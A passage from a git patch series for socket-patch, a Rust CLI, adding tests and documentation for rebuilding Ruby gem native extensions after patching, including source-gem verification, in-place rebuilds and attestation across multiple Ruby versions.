case "$mode" in extensions_dir) - printf 'sp_extensions_dir\t%s\n' "$4/extensions/x86_64-linux/3.4.0" + printf 'sp_extensions_dir\t%s\n' "$4/extensions/x86_64-linux/$abi" runs='' if [ -n "$5" ]; then runs=yes [ -e "$state/other-platform" ] && runs=no printf '%s\n' "$5" > "$state/platform-asked" fi - printf 'sp_ruby\t3.4.1\t3.6.2\tso\tx86_64-linux\t%s\n' "$runs" + printf 'sp_ruby\t%s\t3.6.2\tso\tx86_64-linux\t%s\n' "$version" "$runs" ;; unpack) # The "archive" is the tree the test laid in /source. @@ -689,7 +696,7 @@ missing_deps) ;; stage_build) full=$(basename "$4" .gemspec) - ext="$5/extensions/x86_64-linux/3.4.0/$full" + ext="$5/extensions/x86_64-linux/$abi/$full" [ -e "$state/hang" ] && hang if [ -e "$state/fail-stage-build" ]; then echo "sp_native.c:7: error: this is not C (in the stage)" >&2 @@ -699,6 +706,7 @@ stage_build) # What was "compiled": the staged source, so a test can tell the build # came from the patched tree. {{ printf 'rebuilt from: '; cat "$5/gems/$full/ext/sp_native/sp_native.c"; }} > "$ext/sp_native/sp_native.so" + [ -e "$state/ruby-3.3" ] && printf ' (by Ruby 3.3)' >> "$ext/sp_native/sp_native.so" cp "$ext/sp_native/sp_native.so" "$5/gems/$full/lib/sp_native/sp_native.so" : > "$ext/gem.build_complete" printf 'sp_built\t%s\n' "$ext" @@ -780,6 +788,11 @@ esac std::fs::write(self.state.join("fail-build"), b"").unwrap(); } + /// Stand in for Ruby 3.3 from now on (3.4 until then). + fn become_ruby_33(&self) { + std::fs::write(self.state.join("ruby-3.3"), b"").unwrap(); + } + /// Make every later build in a stage fail, and none in place. fn fail_staged_builds(&self) { std::fs::write(self.state.join("fail-stage-build"), b"").unwrap(); @@ -2877,3 +2890,215 @@ async fn the_source_gem_is_downloaded_and_checked_against_the_registry_index() { assert!(!home.join(".socket-patch-build").exists()); } } + +/// `sp_wrap`: a gem whose build leaves its library in the gem's own tree +/// and loads it from there, as an FFI gem does (argon2's +/// `ext/argon2_wrap/libargon2_wrap.so`). Its `extconf.rb` compiles the +/// library itself and writes a Makefile with nothing to do, so RubyGems' +/// extension dir holds no artifact at all. +const WRAP_PURL: &str = "pkg:gem/sp_wrap@1.0.0"; +const WRAP_C_KEY: &str = "ext/sp_wrap/wrap.c"; +const WRAP_EXTCONF: &str = r##"require "rbconfig" +Dir.chdir(__dir__) +name = RbConfig::CONFIG["host_os"] =~ /darwin/ ? "libsp_wrap.dylib" : "libsp_wrap.so" +cc = RbConfig::CONFIG["CC"].split +abort "could not build #{name}" unless system(*cc, "-shared", "-fPIC", "-o", name, "wrap.c") +File.write("Makefile", "all:\n\ninstall:\n\nclean:\n\n") +"##; +const WRAP_LIB: &str = r##"require "fiddle" +module SpWrap + def self.value + path = Dir[File.expand_path("../ext/sp_wrap/libsp_wrap.{so,dylib}", __dir__)].first + Fiddle::Function.new(Fiddle.dlopen(path)["sp_wrap_value"], [], Fiddle::TYPE_INT).call + end +end +"##; + +fn wrap_c(value: u32) -> String { + format!("int sp_wrap_value(void) {{ return {value}; }}\n") +} + +/// A gem that loads its library from its own tree is not left running the +/// old one: a build staged elsewhere cannot stand in for a library the +/// installed copy loads from where it was built, so the staged build is +/// set aside and the gem is rebuilt where it is installed. +#[test] +#[ignore = "host capstone: compiles a C extension with the real ruby/gem toolchain; \ + the unpinned `test` job skips it, the pinned-Ruby e2e leg runs it via --ignored"] +fn a_gem_that_loads_its_library_from_its_own_tree_is_rebuilt_in_place() { + let Some(abi) = toolchain() else { + return; + }; + let tmp = tempfile::tempdir().unwrap(); + let scratch = tmp.path().to_path_buf(); + let src = scratch.join("sp_wrap"); + std::fs::create_dir_all(src.join("ext/sp_wrap")).unwrap(); + std::fs::create_dir_all(src.join("lib")).unwrap(); + std::fs::write(src.join("ext/sp_wrap/extconf.rb"), WRAP_EXTCONF).unwrap(); + std::fs::write(src.join(WRAP_C_KEY), wrap_c(1)).unwrap(); + std::fs::write(src.join("lib/sp_wrap.rb"), WRAP_LIB).unwrap(); + std::fs::write( + src.join("sp_wrap.gemspec"), + "Gem::Specification.new do |s|\n s.name = \"sp_wrap\"\n s.version = \"1.0.0\"\n \ + s.summary = \"t\"\n s.authors = [\"t\"]\n \ + s.files = Dir[\"lib/**/*.rb\", \"ext/**/*.{c,rb}\"]\n \ + s.extensions = [\"ext/sp_wrap/extconf.rb\"]\nend\n", + ) + .unwrap(); + gem(&scratch, &src, &["build", "sp_wrap.gemspec"], &[]); + let proj = scratch.join("proj"); + let home = proj.join("vendor/bundle/ruby").join(&abi); + std::fs::create_dir_all(&home).unwrap(); + std::fs::write( + proj.join("Gemfile"), + "source \"https://rubygems.org\"\ngem \"sp_wrap\"\n", + ) + .unwrap(); + gem( + &scratch, + &scratch, + &[ + "install", + "--local", + "--no-document", + "--install-dir", + home.to_str().unwrap(), + src.join("sp_wrap-1.0.0.gem").to_str().unwrap(), + ], + &[], + ); + let gem_dir = home.join("gems/sp_wrap-1.0.0"); + let value = || { + let out = Command::new("ruby") + .args(["-W0", "-e", "require 'sp_wrap'; print SpWrap.value"]) + .env("GEM_PATH", &home) + .env_remove("GEM_HOME") + .env_remove("RUBYOPT") + .output() + .unwrap(); + assert!( + out.status.success(), + "loading sp_wrap failed: {}", + String::from_utf8_lossy(&out.stderr) + ); + String::from_utf8_lossy(&out.stdout).into_owned() + }; + assert_eq!(value(), "1"); + assert!(home.join("cache/sp_wrap-1.0.0.gem").is_file()); + let (before, after) = (wrap_c(1), wrap_c(2)); + write_record( + &proj.join(".socket"), + WRAP_PURL, + &[(WRAP_C_KEY, Some(&before), &after)], + ); + let run = + |args: &[&str]| common::run_with_env(&proj, args, &[("SOCKET_RUBYGEMS_URL", NO_REGISTRY)]); + + let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); + assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); + assert_eq!( + value(), + "2", + "Ruby must load the library built from the patched source:\n{stdout}" + ); + assert_eq!( + std::fs::read_to_string(gem_dir.join(WRAP_C_KEY)).unwrap(), + after + ); + assert!(gem_dir.join(".socket-patch-native-build.json").is_file()); + assert!(!home.join(".socket-patch-build").exists()); + let (code, stdout, stderr) = run(&["apply", "--check"]); + assert_eq!(code, 0, "a rebuilt patch checks clean:\n{stdout}\n{stderr}"); + + // (Rollback restores the sources and the extension dir. The library in + // the gem's own tree is no part of what an in-place rebuild backs up, + // here as before the stage existed.) + let (code, stdout, stderr) = run(&["rollback", "--json", "--offline"]); + assert_eq!(code, 0, "rollback failed:\n{stdout}\n{stderr}"); + assert_eq!( + std::fs::read_to_string(gem_dir.join(WRAP_C_KEY)).unwrap(), + before + ); +} + +/// A precompiled gem ships one binary per Ruby minor, and a graft replaces +/// the one of the Ruby that ran `apply`. In a gem home that two Rubies +/// build into, the other Ruby would go on loading the unpatched binary: +/// the copy is not attested, `apply` says which binary is left, and under +/// that Ruby it grafts that one too. Then, and only then, `apply --check` +/// and `vex` attest it. Rollback gives both binaries back. +#[cfg(unix)] +#[test] +fn a_home_of_two_rubies_is_attested_once_both_binaries_are_grafted() { + let (_tmp, proj, gem_dir) = fake_precompiled_gem(true); + // A second Ruby built a gem into this home. + let home = proj.join("vendor/bundle/ruby/3.4.0"); + let other = home.join("extensions/x86_64-linux/3.3.0/racc-1.8.1"); + std::fs::create_dir_all(&other).unwrap(); + std::fs::write(other.join("gem.build_complete"), b"").unwrap(); + let (before, after) = (c_source(1), c_source(2)); + write_record( + &proj.join(".socket"), + PURL, + &[(C_KEY, Some(&before), &after)], + ); + let ruby = FakeRuby::new(); + ruby.serve_source_gem(&c_source(1)); + let (for_33, for_34) = ( + gem_dir.join("lib/sp_native/3.3/sp_native.so"), + gem_dir.join("lib/sp_native/3.4/sp_native.so"), + ); + let tree_before = walk_files(&proj.join("vendor")); + let run = |args: &[&str]| ruby.run(&proj, args, &[]); + let built = ["extensions_dir", "unpack", "missing_deps", "stage_build"]; + + // Ruby 3.4 applies: its binary is the build, 3.3's is not. + let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); + assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); + assert_eq!(event_action(&stdout), "applied", "{stdout}"); + assert_eq!(ruby.calls(), built); + assert_eq!( + std::fs::read_to_string(&for_34).unwrap(), + built_from(&c_source(2)) + ); + assert_eq!(std::fs::read_to_string(&for_33).unwrap(), prebuilt("3.3")); + assert!( + stdout.contains("native_extension_not_rebuilt") + && stdout.contains("lib/sp_native/3.3/sp_native.so"), + "apply must say which binary is still unpatched: {stdout}" + ); + let (code, stdout, _) = run(&["apply", "--check", "--json"]); + assert_ne!( + code, 0, + "attested while Ruby 3.3 loads the old code: {stdout}" + ); + assert!(stdout.contains("native_extension_not_rebuilt"), "{stdout}"); + assert!(!vex_attests(run), "vex attested a half-grafted copy"); + // Again under 3.4: asked which Ruby it is, then nothing left to build. + let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); + assert_eq!(code, 0, "{stdout}\n{stderr}"); + assert!(stdout.contains("native_extension_not_rebuilt"), "{stdout}"); + assert_eq!(ruby.calls(), [&built[..], &["extensions_dir"]].concat()); + + // Ruby 3.3 applies: it grafts its own binary beside the other. + ruby.become_ruby_33(); + let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); + assert_eq!(code, 0, "apply under 3.3 failed:\n{stdout}\n{stderr}"); + assert!(!stdout.contains("native_extension_not_rebuilt"), "{stdout}"); + assert_eq!( + std::fs::read_to_string(&for_33).unwrap(), + format!("{} (by Ruby 3.3)", built_from(&c_source(2))) + ); + assert_eq!( + std::fs::read_to_string(&for_34).unwrap(), + built_from(&c_source(2)), + "the other Ruby's graft is kept" + ); + let (code, stdout, stderr) = run(&["apply", "--check"]); + assert_eq!(code, 0, "{stdout}\n{stderr}"); + assert!(vex_attests(run), "vex attests once every binary is grafted"); + + let (code, stdout, stderr) = run(&["rollback", "--json", "--offline"]); + assert_eq!(code, 0, "rollback failed:\n{stdout}\n{stderr}"); + assert_tree(&proj.join("vendor"), &tree_before, "after rollback"); +} From bef0a7c64c53c29d12969cd709e952116b38f8d8 Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 15:11:00 -0500 Subject: [PATCH 11/13] Document the own-source proof, the in-place fallback and the shared-home attestation rule Co-Authored-By: Claude Fable 5.2 --- crates/socket-patch-cli/CLI_CONTRACT.md | 193 +++++++++++------- crates/socket-patch-core/src/patch/gem_ext.rs | 75 ++++--- docs/ecosystems.md | 31 ++- 3 files changed, 193 insertions(+), 106 deletions(-) diff --git a/crates/socket-patch-cli/CLI_CONTRACT.md b/crates/socket-patch-cli/CLI_CONTRACT.md index f1bd0ace9..7e80850e5 100644 --- a/crates/socket-patch-cli/CLI_CONTRACT.md +++ b/crates/socket-patch-cli/CLI_CONTRACT.md @@ -890,50 +890,75 @@ runs) and puts the build where Ruby loads it, using the Ruby that owns the insta `--cwd`. **Build inputs.** A gem is native when its installed gemspec declares `extensions`, or its -platform is not `ruby` (a precompiled gem). In a native gem every changed file is a build input -unless it clearly is not one: a file under one of the gemspec's require paths (`lib/**`; Ruby loads -it as it is), a file under `bin/`, `exe/`, `test/`, `spec/`, `features/`, `doc/`, `docs/` or -`man/`, or a top-level `README*`, `LICENSE*`, `CHANGELOG*`, `Gemfile*`, `*.md`, `*.txt` or -`*.gemspec`. So nokogiri's `patches/**`, `ports/**` and `dependencies.yml`, which its `extconf.rb` -builds the vendored libxml2 from, are inputs, and a record whose only file is an added -`patches/libxml2/.patch` is rebuilt. Always an input, wherever it sits: a `.c`, `.h`, `.cc`, -`.cpp`, `.cxx`, `.hh`, `.hpp`, `.hxx`, `.m`, `.y`, `.rl`, `.java` or `.rs` file, an `extconf.rb`, -a `CMakeLists.txt`, `Makefile`, `GNUmakefile`, `Cargo.toml`, `Cargo.lock` or `build.rs`, anything -under `ext/`, and any file under the directory of a build script the gemspec's `extensions` names -(a script at the gem root: the files beside it) (#1996). One exception: a grammar file (`.y`, -`.rl`) under a require path of a precompiled gem is not an input, since the gem packs its -generated output. In a gem that is not native (no extensions, the `ruby` platform) only a C-family -source under `ext/` is an input, never a grammar file; such a record is refused, because nothing -there compiles it. +platform is not `ruby` (a precompiled gem). In a native gem: + +- Always an input, wherever it sits: a `.c`, `.h`, `.cc`, `.cpp`, `.cxx`, `.hh`, `.hpp`, `.hxx`, + `.m`, `.y`, `.rl`, `.java` or `.rs` file, an `extconf.rb`, a `CMakeLists.txt`, `Makefile`, + `GNUmakefile`, `Cargo.toml`, `Cargo.lock` or `build.rs`, anything under `ext/`, and any file + under the directory of a build script the gemspec's `extensions` names (a script at the gem + root: the files beside it) (#1996). +- Ruby source and type signatures elsewhere (`.rb`, `.rbs`, `.rbi`, `.rake`, `.ru`, `.gemspec`, a + `Gemfile`) are not inputs, whether or not they sit under a require path: Ruby loads them as + they are (passenger's `src/helper-scripts/*.rb`, a `sig/*.rbs`). The exceptions are a build + script by name (a `Rakefile`, a `mkrf_conf.rb`), and any rake file (`*.rake`) of a gem whose + `extensions` names a `Rakefile` or `mkrf_conf.rb`. +- Every other changed file is an input unless it clearly is not one: a file under one of the + gemspec's require paths (`lib/**`), a file under `bin/`, `exe/`, `test/`, `tests/`, `t/`, + `spec/`, `features/`, `sig/`, `rbi/`, `examples/`, `benchmark/`, `benchmarks/`, `doc/`, `docs/` + or `man/`, or a top-level `README*`, `LICENSE*`, `CHANGELOG*`, `*.md` or `*.txt`. So nokogiri's + `patches/**`, `ports/**` and `dependencies.yml`, which its `extconf.rb` builds the vendored + libxml2 from, are inputs, and a record whose only file is an added `patches/libxml2/.patch` + is rebuilt. +- One exception: a grammar file (`.y`, `.rl`) under a require path of a precompiled gem is not an + input, since the gem packs its generated output. + +In a gem that is not native (no extensions, the `ruby` platform) only a C-family source under +`ext/` is an input, never a grammar file; such a record is refused, because nothing there compiles +it. A copy that 5.1.0 rebuilt has a marker listing the narrower set of inputs that release knew; +for a record with more inputs under these rules it attests nothing, and the next `apply` rebuilds +the copy and records them all. **The source gem.** The extension is rebuilt from the gem's source archive, because an installed copy does not hold everything its extension was built from: a build deletes what it is done with (nokogiri's `ports/`), and a precompiled gem never shipped the build's inputs. The archive is the copy's own for a gem RubyGems built, and the ruby-platform `-.gem` for a precompiled -one. It is taken from the gem home's `cache/`, where RubyGems and Bundler keep it, as it is and -with no network. Otherwise, and not under `--offline`, it is downloaded from the default registry, +one. It is taken from the gem home's `cache/`, where RubyGems and Bundler keep it, with no +network. Otherwise, and not under `--offline`, it is downloaded from the default registry, `https://rubygems.org` or the registry `SOCKET_RUBYGEMS_URL` names (a mirror), as `/gems/`, and used only when its sha256 is the one that registry's compact index (`/info/`) records. Nothing in the project's lock chooses the URL or the hash: not -a `remote:`, not `CHECKSUMS`. The lock is read to withhold the download: a gem that -`Gemfile.lock` / `gems.locked` resolves from another source (a `GEM` section with a remote that -is not the registry, a private gem server or Socket's patch registry among them; a `GIT` or `PATH` -section) is not the registry's gem of that name, and nothing is fetched for it. Its cached archive -is then the only way to its source. +a `remote:`, not `CHECKSUMS`. The lock at the project root is read to withhold the download: a gem +name that `Gemfile.lock` / `gems.locked` resolves from another source at any version (a `GEM` +section with a remote that is not the registry, a private gem server or Socket's patch registry +among them; a `GIT` or `PATH` section) is not the registry's gem of that name, and nothing is +fetched for it. Its cached archive is then the only way to its source. + +Wherever the archive came from, it is built only once it is proven to be the installed copy's own +source: unpacked, every file it shares with the installed gem must be byte-identical (a gem +RubyGems built shares everything its build did not delete or generate; a precompiled gem shares +its Ruby files and the sources of the binary it ships). A file the record changes may hold the +record's patched content instead, and one that holds neither content is left to the run's mismatch +policy. Any other difference, or no shared file at all, means the archive is another gem of that +name: nothing of it is run. This holds whatever lock governs the gem home. **The rebuild.** The archive is unpacked into a stage inside the gem home -(`/.socket-patch-build/-[-]/`), by RubyGems, and must be that gem and -declare extensions. The record's files are laid over the staged gem, and every `beforeHash` must -hold there, whatever the mismatch policy of the run: an archive that is not the gem the patch was -written for stops the run with nothing written to the installed copy. RubyGems then builds the -staged gem's extension in the stage, with the build arguments it recorded for the installed copy -(`build_info/`). A gem the staged gem depends on at runtime that is not on the build's `GEM_PATH` -(the stage home, the copy's home, the caller's `GEM_PATH`, RubyGems' defaults) is staged too: the -newest ruby-platform release the requirement allows that runs on the building Ruby, downloaded -from the registry under the same rules and verified against its compact index, and installed into -the stage home. A precompiled nokogiri has no `mini_portile2`, which its build needs. Nothing is ever installed into -the user's gem home, and the stage is removed when the run ends. Until the build has finished, -nothing of the installed copy is touched. +(`/.socket-patch-build/-[-]/`), by RubyGems, and must be that gem, +declare extensions, and be the copy's own source (above). The record's files are laid over the +staged gem, and every `beforeHash` must hold there, whatever the mismatch policy of the run. +RubyGems then builds the staged gem's extension in the stage, with the build arguments it recorded +for the installed copy (`build_info/`). A gem the staged gem depends on at runtime that is not on +the build's `GEM_PATH` (the stage home, the copy's home, the caller's `GEM_PATH`, RubyGems' +defaults) is staged too: the newest ruby-platform release the requirement allows that runs on the +building Ruby, downloaded from the registry under the same rules and verified against its compact +index, and installed into the stage home. A precompiled nokogiri has no `mini_portile2`, which its +build needs. Nothing is ever installed into the user's gem home, and the stage is removed when the +run ends. Until the build has finished, nothing of the installed copy is touched. + +A build that leaves what Ruby loads in the gem's own tree, and not only in RubyGems' extension +directory, cannot be moved in from a stage: an FFI gem's `ext//lib.so`, a rake build's +library under `lib/`, a Ruby file the build generates under a require path. Such a library is +loaded from where it was built. The staged build is set aside: a gem RubyGems built is rebuilt in +place (below), a precompiled gem is refused. **Into the installed copy.** The record's files are written into the copy, and the build takes the place of the compiled code: @@ -958,46 +983,59 @@ build removed `ports/**`) is written into the copy even when the record replaces that content was checked in the source gem. `rollback` removes such a file again. Its absence also does not count against the ruby-platform record (`?platform=ruby`, or no qualifier) when a release variant is matched to the installed copy, as a missing file otherwise does; a record -qualified for another platform is matched as before. - -**Without the source gem.** A gem RubyGems built is rebuilt in place, from its own tree: the -patched sources are written, the current build is moved aside, and RubyGems builds into a fresh -extension directory; a failed build puts the old build and the original sources back. This cannot +qualified for another platform is matched as before. When the manifest holds a record whose +`platform` qualifier names a platform gem copy's own platform (`x86_64-linux` and +`x86_64-linux-gnu` are one) and that record matches the copy, it alone is applied to the copy: +the ruby-platform record of the same version is not applied on top. + +**Without a build from the source gem.** Whatever keeps a gem RubyGems built from being rebuilt +from its source gem, before anything of the installed copy is written, leaves it the rebuild it +had in 5.1.0: in place, from its own tree. That is: no archive (offline and not cached, a private +gem, a registry that does not serve it), an archive that is not the copy's own source (a patched +archive an earlier hosted install left in `cache/`), a record that does not apply to it, a stage +that cannot be opened, a build dependency that cannot be staged, a build that fails in the stage, +or a build that leaves its library in the gem's own tree. The patched sources are written, the +current build is moved aside, and RubyGems builds into a fresh extension directory; a failed build +puts the old build and the original sources back, and the error names both failures. This cannot work for a gem whose build removed its inputs, and a record that changes a removed input is -refused instead. A precompiled gem has no such fallback: it is refused with -`native_extensions_unsupported`, and the message says what is needed (one run with network access -to the registry, or the source gem in the home's `cache/`; for a gem the lock resolves from -another source, only the latter). The JRuby build of a gem (the -`java` platform) ships jars compiled from Java sources, which no source gem's build produces: a -record that changes its build inputs is always refused. +refused instead. The one case with no fallback is another run building the same gem right now. A +precompiled gem has no in-place rebuild: it is refused with `native_extensions_unsupported` +(`native_extension_build_failed` for a failed build), and the message says what is needed (one run +with network access to the registry, or the source gem in the home's `cache/`; for a gem the lock +resolves from another source, only the latter). The JRuby build of a gem (the `java` platform) +ships jars compiled from Java sources, which no source gem's build produces: a record that changes +its build inputs is always refused. What runs, and when: whether a record needs a rebuild is decided from files alone. The installed gemspec is read as text for its `extensions`, `platform` and `require_paths`, never evaluated, so `apply --dry-run`, `apply --check` and `vex` start no Ruby and download nothing. A dry run reports the pending rebuild as a `native_extension_rebuilt` warning ("apply would …") and refuses only what it can see without one (no extension directory, no `ruby` to run, a JRuby gem, a source gem that is -needed, not cached, and out of reach offline). A real run starts Ruby only once every file of the -record verified against the installed copy (it holds the record's `beforeHash` or `afterHash` -content, or a mismatch the run was told to overwrite): first the host Ruby alone, asked where it -builds extensions for that gem home and what it is, which loads RubyGems and nothing of the gem; -then RubyGems, to unpack the source gem and name the gems its build lacks, which runs none of the -archive's code; then, with the record laid over the staged gem, RubyGems' builder, which runs the -archive's build scripts as `gem install` did. The installed gemspec is evaluated only by the -in-place fallback. A Ruby inside the project is never run, and every run goes without the Socket -credentials (see [Environment variables](#environment-variables)), `RUBYOPT`, `RUBYLIB` and -`BUNDLE*`. +needed, not cached, and out of reach offline or withheld by the lock). A real run starts Ruby only +once every file of the record verified against the installed copy (it holds the record's +`beforeHash` or `afterHash` content, or a mismatch the run was told to overwrite): first the host +Ruby alone, asked where it builds extensions for that gem home and what it is, which loads +RubyGems and nothing of the gem; then RubyGems, to unpack the source gem and name the gems its +build lacks, which runs none of the archive's code; then, with the unpacked gem proven to be the +copy's own source and the record laid over it, RubyGems' builder, which runs the archive's build +scripts as `gem install` did. The installed gemspec is evaluated only by the in-place rebuild. A +Ruby inside the project is never run, and every run goes without the Socket credentials (see +[Environment variables](#environment-variables)), `RUBYOPT`, `RUBYLIB` and `BUNDLE*`. The first rebuild of a copy backs up the original compiled code to `.socket-patch-native-orig/` in the gem directory (the install-time extension directory and `lib/` copies; a precompiled gem's -prebuilt binaries), and every rebuild records `.socket-patch-native-build.json` there: the source -hashes it was built from and the hash of every artifact it put in place (`"grafted": true` for a -precompiled gem's replaced binaries). A record whose sources are patched and whose marker matches -is `already_patched`; sources an earlier release patched without a rebuild are rebuilt, with a -`native_extension_rebuilt` warning. `rollback` (and `remove`) puts the backed-up build back with -the sources, bytes and file mode; without a backup it rebuilds a gem RubyGems built from the +prebuilt binaries, each when it is first replaced), and every rebuild records +`.socket-patch-native-build.json` there: the source hashes it was built from and the hash of every +artifact it put in place (`"grafted": true` for a precompiled gem's replaced binaries, whose paths +name the Ruby minors they were built for). A record whose sources are patched and whose marker +matches is `already_patched`; sources an earlier release patched without a rebuild are rebuilt, +with a `native_extension_rebuilt` warning. `rollback` (and `remove`) puts the backed-up build back +with the sources, bytes and file mode; without a backup it rebuilds a gem RubyGems built from the restored sources, and fails a precompiled gem with `native_extension_restore_failed` (`gem -pristine ` reinstalls it). Only the gem's own extension dir under its home, and files under -the gem directory, are ever replaced, whatever path the backup or marker names. +pristine ` reinstalls it). An in-place rebuild backs up and restores RubyGems' extension +directory and its `lib/` copies only: a library a gem builds into its own tree stays as last +built. Only the gem's own extension dir under its home, and files under the gem directory, are +ever replaced, whatever path the backup or marker names. A build runs in a process group of its own: an interrupted `apply` (Ctrl-C, SIGTERM, SIGHUP) kills that group and waits for it before it releases the lock, so no compiler is left running. A build @@ -1012,7 +1050,11 @@ it, unless the extension directory already holds a finished build (`gem.build_co then stands. `apply` then rebuilds, and `rollback` restores the original sources and build. A stage or a parked build that a rebuild still running in another process holds (two projects sharing one gem home) is left alone, and the purl is refused with `native_extensions_unsupported` -until that run has finished. +until that run has finished. Where a directory cannot be locked (Windows, a filesystem without +advisory locks), a stage counts as held until 35 minutes after its build's last step began. The +stage directory and `.socket-patch-build` itself must be real directories: a link or a file at +either name is never followed, emptied or deleted. A gem RubyGems built is then rebuilt in place, +and a precompiled gem is refused. (Hosted mode's stale-install refresh honors the same flag: with it, a native-extension gem is left as it is, with its `redirect_gem_stale_install` warning; see the "Gem stale-install guard" section.) @@ -1026,17 +1068,28 @@ a file the copy does not hold is not written: the record fails on it as on any m | Code | Run result | Meaning | |---|---|---| -| `native_extensions_unsupported` | refused, exit 1 | The record changes build inputs that cannot be rebuilt here: the copy is not a RubyGems install with a `specifications/` entry (a Bundler git checkout); the gem neither declares extensions nor is a platform gem; it is the JRuby (`java`) build; no Ruby that owns the install was found; a precompiled gem's source gem is neither in the home's `cache/` nor downloadable (offline, locked from another source, not served or not listed with a checksum by the registry); the record does not apply to the source gem; a gem the build needs is not installed and could not be staged; the build has no counterpart among the gem's prebuilt binaries. Nothing is written. Also: another run is rebuilding the same gem right now, or an interrupted rebuild could not be undone (the error says which). | -| `native_extension_build_failed` | refused, exit 1 | The extension did not build from the patched sources (no compiler or Ruby headers, a build error), or the finished build could not be moved into place. The installed copy is as it was before the run; the error carries the build output's tail. | +| `native_extensions_unsupported` | refused, exit 1 | The record changes build inputs that cannot be rebuilt here: the copy is not a RubyGems install with a `specifications/` entry (a Bundler git checkout); the gem neither declares extensions nor is a platform gem; it is the JRuby (`java`) build; no Ruby that owns the install was found; a precompiled gem cannot be built from its source gem (the archive is neither in the home's `cache/` nor downloadable, is not the copy's own source, the record does not apply to it, a gem its build needs could not be staged, its build leaves a library in the gem's own tree, or the build has no counterpart among the gem's prebuilt binaries); a record changes an input a build removed and the source gem cannot be built. Nothing is written. Also: another run is rebuilding the same gem right now, or an interrupted rebuild could not be undone (the error says which). | +| `native_extension_build_failed` | refused, exit 1 | The extension did not build from the patched sources (no compiler or Ruby headers, a build error), or the finished build could not be moved into place. The installed copy is as it was before the run; the error carries the build output's tail (of the build from the source gem and of the in-place one, when both ran). | | `native_extension_rebuilt` | warning | The sources were already patched (by a release before #1996, or with `--no-gem-native-rebuild`) and the extension was rebuilt from them. Under `--dry-run`: the rebuild a real `apply` would run; no Ruby is started and nothing is downloaded to check that it can. | -| `native_extension_not_rebuilt` | warning | `--no-gem-native-rebuild`: the sources were written without a rebuild; Ruby loads the old build until the caller compiles it. | +| `native_extension_not_rebuilt` | warning | `--no-gem-native-rebuild`: the sources were written without a rebuild; Ruby loads the old build until the caller compiles it. Or: a precompiled gem's binary was rebuilt for the Ruby that ran `apply`, and the gem ships prebuilt binaries for other Ruby versions in a gem home that is not laid out for one Ruby (the warning names them); `vex` does not attest the patch until `apply` has run under each. | | `native_extension_restore_failed` | rollback: that copy fails | The sources were restored, but the original compiled extension could not be put back. Run `gem pristine --extensions` (a precompiled gem: `gem pristine `). | `vex` and `apply --check` attest such a copy only while its marker matches the record's patched sources and every artifact it lists, a precompiled gem's replaced binary included; otherwise the -purl fails with `native_extension_not_rebuilt`. After `gem pristine`, a reinstall, or a switch to -another Ruby minor (which loads another of a precompiled gem's binaries), run `apply` again. -Hosted copies are judged on their files alone, since RubyGems compiled them from the patched gem. +purl fails with `native_extension_not_rebuilt`. After `gem pristine` or a reinstall, run `apply` +again. + +A precompiled gem ships one binary per Ruby minor, and a rebuild replaces the one of the Ruby that +ran `apply`. Such a copy is attested only when no other of those binaries could be loaded from its +gem home: the home is laid out for that one Ruby, or every one of them has been replaced. A home +is laid out for one Ruby when the ABI in its directory name (`vendor/bundle/ruby/3.4.0`, +`/lib/ruby/gems/3.4.0`, `~/.gem/ruby/3.4.0`) and the ABI of every +`extensions///` directory in it agree on one `major.minor`. A home that shows no +ABI (a custom `GEM_HOME` holding no compiled gem) or more than one can be used by any Ruby: +`apply` then warns `native_extension_not_rebuilt` with the binaries still prebuilt, `apply` under +another Ruby replaces that Ruby's binary and keeps the others', and the copy is attested once all +are replaced. Hosted copies are judged on their files alone, since RubyGems compiled them from the +patched gem. ### sbt / Mill / scala-cli caches in agent mode diff --git a/crates/socket-patch-core/src/patch/gem_ext.rs b/crates/socket-patch-core/src/patch/gem_ext.rs index aef61f20d..78e8a1817 100644 --- a/crates/socket-patch-core/src/patch/gem_ext.rs +++ b/crates/socket-patch-core/src/patch/gem_ext.rs @@ -16,13 +16,15 @@ //! # What is a build input //! //! A gem is native when its installed gemspec declares extensions, or its -//! platform is not `ruby` (a precompiled gem). In a native gem every -//! patched file is a build input unless it clearly is not one (`classify`): +//! platform is not `ruby` (a precompiled gem). In a native gem a patched +//! file is a build input unless it clearly is not one (`classify`): //! `extconf.rb` builds from whatever the gem packs. nokogiri's builds its //! vendored libxml2 from `patches/libxml2/*.patch`, `ports/**` and //! `dependencies.yml`, so a record whose only file is an added -//! `patches/libxml2/.patch` changes the compiled library. A gem that is -//! not native has no build inputs but a C source under `ext/`. +//! `patches/libxml2/.patch` changes the compiled library. Ruby source +//! outside `ext/` and a build script's dir is not one, wherever the gem +//! keeps it: Ruby loads it as it is. A gem that is not native has no build +//! inputs but a C source under `ext/`. //! //! # What it is built from //! @@ -40,24 +42,28 @@ //! `specifications/` entry beside `gems/`) of a native gem, with a Ruby //! to try; a gem RubyGems built must have its extension dir on disk; a //! precompiled one must have a way to its source gem (the cached -//! archive, or a run that is not offline). Otherwise the purl is refused -//! with [`UNSUPPORTED_CODE`] and nothing is written. So is the JRuby -//! build of a gem, whose jars no source gem's build scripts produce. +//! archive, or a run that may download it). Otherwise the purl is +//! refused with [`UNSUPPORTED_CODE`] and nothing is written. So is the +//! JRuby build of a gem, whose jars no source gem's build scripts +//! produce. //! 2. The record's files are verified against the copy, and the Ruby that //! owns the install is found (or the purl is refused as in 1). //! 3. The source gem is unpacked into a stage inside the gem home -//! (`/.socket-patch-build/`), and the record is laid over it -//! with [`apply_package_patch`]: every `beforeHash` must hold in the -//! pristine gem, or the archive is not the gem the patch was written for -//! and the run stops. -//! 4. RubyGems builds the staged gem's extension in the stage, with the +//! (`/.socket-patch-build/`) and proven to be the installed +//! copy's own source: every file the two trees share is byte-identical +//! (`prove_own_source`). An archive is found by name and version, and a +//! name does not say whose gem it is; the files do. +//! 4. The record is laid over it with [`apply_package_patch`]: every +//! `beforeHash` must hold in the pristine gem, or the archive is not +//! the gem the patch was written for. +//! 5. RubyGems builds the staged gem's extension in the stage, with the //! build arguments it recorded for the installed copy. A gem the build //! needs and the install lacks (a precompiled nokogiri has no //! `mini_portile2`) is installed into the stage home, never into the -//! user's. Until the build has finished, nothing of the installed copy -//! is touched: a failed build fails the purl with 